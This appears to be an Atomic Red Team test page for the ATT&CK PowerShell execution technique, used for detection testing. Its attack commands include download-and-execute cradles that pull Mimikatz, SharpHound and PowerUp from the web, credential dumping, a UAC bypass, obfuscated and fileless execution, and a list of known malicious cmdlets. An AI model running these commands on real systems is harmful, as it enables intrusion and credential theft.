T1059.001 - PowerShell

Description from ATT&CK

> Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
> PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
>
> A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.(Citation: Github PSAttack)
>
> PowerShell commands/scripts can also be executed without directly invoking the `powershell.exe` binary through interfaces to PowerShell's underlying

> `System.Management.Automation` assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

Atomic Tests

- Atomic Test #18 - ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
- Atomic Test #19 - PowerShell Command Execution
- Atomic Test #20 - PowerShell Invoke Known Malicious Cmdlets
- Atomic Test #21 - PowerUp Invoke-AllChecks

Atomic Test #1 - Mimikatz

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Supported Platforms: Windows

auto_generated_guid: f3132740-55bc-48c4-bcc0-758a459cd027

Inputs:

Name	Description	Type	Defa
mimurl	Mimikatz url	Url	https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/Mimikatz.ps1

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke
```

Atomic Test #2 - Run BloodHound from local disk

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.

Supported Platforms: Windows

auto_generated_guid: a21bb23e-e677-4ee7-af90-6931b57b6350

Inputs:

Name	Description	Type	Default Value
file_path	File path for SharpHound payload	String	PathToAtomicsFolder\T1059.001\src

Attack Commands: Run with `powershell`!

```
write-host "Import and Execution of SharpHound.ps1 from #{file_path}" -ForegroundC
import-module #{file_path}\SharpHound.ps1
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
```

Cleanup Commands:

```
Remove-Item $env:Temp\*BloodHound.zip -Force
```

Dependencies: Run with `powershell`!

Description: SharpHound.ps1 must be located at #{file_path}

Check Prereq Commands:

```
if (Test-Path #{file_path}\SharpHound.ps1) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/80450
```

Atomic Test #3 - Run Bloodhound from Memory using Download Cradle

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.

Supported Platforms: Windows

auto_generated_guid: bf8c1441-4674-4dab-8e4e-39d93d08f9b7

Attack Commands: Run with `powershell`!

```
write-host "Remote download of SharpHound.ps1 into memory, followed by execution o
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/B
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
```

Cleanup Commands:

```
Remove-Item $env:Temp\*BloodHound.zip -Force
```

Atomic Test #4 - Obfuscation Tests

Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

Supported Platforms: Windows

auto_generated_guid: 4297c41a-8168-4138-972d-01f3ee92c804

Attack Commands: Run with `powershell`!

```
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-I
```

Atomic Test #5 - Mimikatz - Cradlecraft PsSendKeys

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Supported Platforms: Windows

auto_generated_guid: af1800cf-9f9d-4fd1-a709-14b1e6de020d

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004
```

Atomic Test #6 - Invoke-AppPathBypass

Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Supported Platforms: Windows

auto_generated_guid: 06a220b6-7e29-4bd8-9d07-5b4d86742372

Attack Commands: Run with `command_prompt`!

```
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubu
```

Atomic Test #7 - Powershell MsXml COM object - with prompt

Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.

Provided by https://github.com/mgreen27/mgreen27.github.io

Supported Platforms: Windows

auto_generated_guid: 388a7340-dbc1-4c9d-8e59-b75ad8c6d5da

Inputs:

Name	Description	Type	Default Value
url	payload to execute	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1

Attack Commands: Run with `command_prompt`!

```
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.Ser
```

Atomic Test #8 - Powershell XML requests

Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.

Provided by https://github.com/mgreen27/mgreen27.github.io

Supported Platforms: Windows

auto_generated_guid: 4396927f-e503-427b-b023-31049b9b09a6

Inputs:

Name	Description	Type	Default Value
url	url of payload to execute	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml

Attack Commands: Run with `command_prompt`!

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofil
```

Atomic Test #9 - Powershell invoke mshta.exe download

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

Provided by https://github.com/mgreen27/mgreen27.github.io

Supported Platforms: Windows

auto_generated_guid: 8a2ad40b-12c7-4b25-8521-2737b0a415af

Inputs:

Name	Description	Type	Default Value
url	url of payload to execute	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct

Attack Commands: Run with `command_prompt`!

```
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').
```

Atomic Test #10 - Powershell Invoke-DownloadCradle

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

Supported Platforms: Windows

auto_generated_guid: cc50fa2a-a4be-42af-a88f-e347ba0bf4d7

Run it with these steps!

1. Open Powershell_ise as a Privileged Account
2. Invoke-DownloadCradle.ps1

Atomic Test #11 - PowerShell Fileless Script Execution

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Supported Platforms: Windows

auto_generated_guid: fa050f5e-bc75-4230-af73-b6fd7852cd73

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
# Encoded payload in next command is the following "Set-Content -path "$env:SystemI
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Softwa
```

Cleanup Commands:

```
Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore
Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore
```

Atomic Test #12 - PowerShell Downgrade Attack

This test requires the manual installation of PowerShell V2.

Attempts to run powershell commands in version 2.0
https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/

Supported Platforms: Windows

auto_generated_guid: 9148e7c4-9356-420e-a416-e896e9c0f73e

Attack Commands: Run with `powershell`!

```
powershell.exe -version 2 -Command Write-Host $PSVersion
```

Dependencies: Run with `powershell`!

Description: PowerShell version 2 must be installed

Check Prereq Commands:

```
if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host  Automated installer not implemented yet, please install PowerShell v2 
```

Atomic Test #13 - NTFS Alternate Data Stream Access

Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

Supported Platforms: Windows

auto_generated_guid: 8e5c5532-1181-4c1d-bb79-b3a9f5dbd680

Inputs:

Name	Description	Type	Default Value
ads_file	File created to store Alternate Stream Data	String	$env:TEMP\NTFS_ADS.txt

Attack Commands: Run with `powershell`!

```
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream '
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
```

Cleanup Commands:

```
Remove-Item #{ads_file} -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Homedrive must be an NTFS drive

Check Prereq Commands:

```
if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit (
```

Get Prereq Commands:

```
Write-Host Prereq's for this test cannot be met automatically
```

Atomic Test #14 - PowerShell Session Creation and Use

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Supported Platforms: Windows

auto_generated_guid: 7c1acec2-78fa-4305-a3e0-db2a54cddecd

Inputs:

Name	Description	Type	Default Value
hostname_to_connect	The host to connect to, by default it will connect to the local machine	String	$env:COMPUTERNAME

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T108
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
```

Dependencies: Run with `powershell`!

Description: PSRemoting must be enabled

Check Prereq Commands:

```
Try {
    New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Nul
    exit 0
}
Catch {
```

```
    exit 1
}
```

Get Prereq Commands:

```
Enable-PSRemoting
```

Atomic Test #15 - ATHPowerShellCommandLineParameter - Command parameter variations

Executes powershell.exe with variations of the -Command parameter

Supported Platforms: Windows

auto_generated_guid: 686a9785-f99b-41d4-90df-66ed515f81d7

Inputs:

Name	Description	Type	Default Value
command_line_switch_type	The type of supported command-line switch to use	String	Hyphen
command_param_variation	The "Command" parameter variation to use	String	C

Attack Commands: Run with `powershell`!

```
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #16 - ATHPowerShellCommandLineParameter - Command parameter variations with encoded arguments

Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Supported Platforms: Windows

auto_generated_guid: 1c0a870f-dc74-49cf-9afc-eccc45e58790

Inputs:

Name	Description	Type	Default Value
command_line_switch_type	The type of supported command-line switch to use	String	Hyphen
command_param_variation	The "Command" parameter variation to use	String	C
encoded_arguments_param_variation	The "EncodedArguments" parameter variation to use	String	EA

Attack Commands: Run with `powershell`!

```
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #17 - ATHPowerShellCommandLineParameter - EncodedCommand parameter variations

Executes powershell.exe with variations of the -EncodedCommand parameter

Supported Platforms: Windows

auto_generated_guid: 86a43bad-12e3-4e85-b97c-4d5cf25b95c3

Inputs:

Name	Description	Type	Default Value
command_line_switch_type	The type of supported command-line switch to use	String	Hyphen
encoded_command_param_variation	The "EncodedCommand" parameter variation to use	String	E

Attack Commands: Run with `powershell`!

```
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #18 - ATHPowerShellCommandLineParameter - EncodedCommand parameter variations with encoded arguments

Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Supported Platforms: Windows

auto_generated_guid: 0d181431-ddf3-4826-8055-2dbf63ae848b

Inputs:

Name	Description	Type	Default Value
encoded_command_param_variation	The "EncodedCommand"	String	E

	parameter variation to use		
command_line_switch_type	The type of supported command-line switch to use	String	Hyphen
encoded_arguments_param_variation	The "EncodedArguments" parameter variation to use	String	EncodedArguments

Attack Commands: Run with `powershell`!

```
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #19 - PowerShell Command Execution

Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto_generated_guid: a538de64-1c74-46ed-aa60-b995ed302598

Inputs:

Name	Description	Type	
obfuscated_code	Defaults to: Invoke-Expression with a "Write-Host" line.	String	JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIA

Attack Commands: Run with `command_prompt`!

```
powershell.exe -e  #{obfuscated_code}
```

Atomic Test #20 - PowerShell Invoke Known Malicious Cmdlets

Powershell execution of known Malicious PowerShell Cmdlets

Supported Platforms: Windows

auto_generated_guid: 49eb9404-5e0f-4031-a179-b40f7be385e3

Inputs:

Name	Description	Type	Default Value
Malicious_cmdlets	Known Malicious Cmdlets	String	"Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword", "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot", "Get-VaultCredential", "Get-VolumeShadowCopy",

			"Install-SSP", "Invoke-CredentialInjection", "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan", "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode", "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy", "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy", "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump", "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy", "Set-CriticalProcess", "Set-MasterBootRecord"

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
```

Atomic Test #21 - PowerUp Invoke-AllChecks

Check for privilege escalation paths using PowerUp from PowerShellMafia

Supported Platforms: Windows

auto_generated_guid: 1289f78d-22d2-4590-ac76-166737e1811b

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defl
```

```
Invoke-AllChecks
```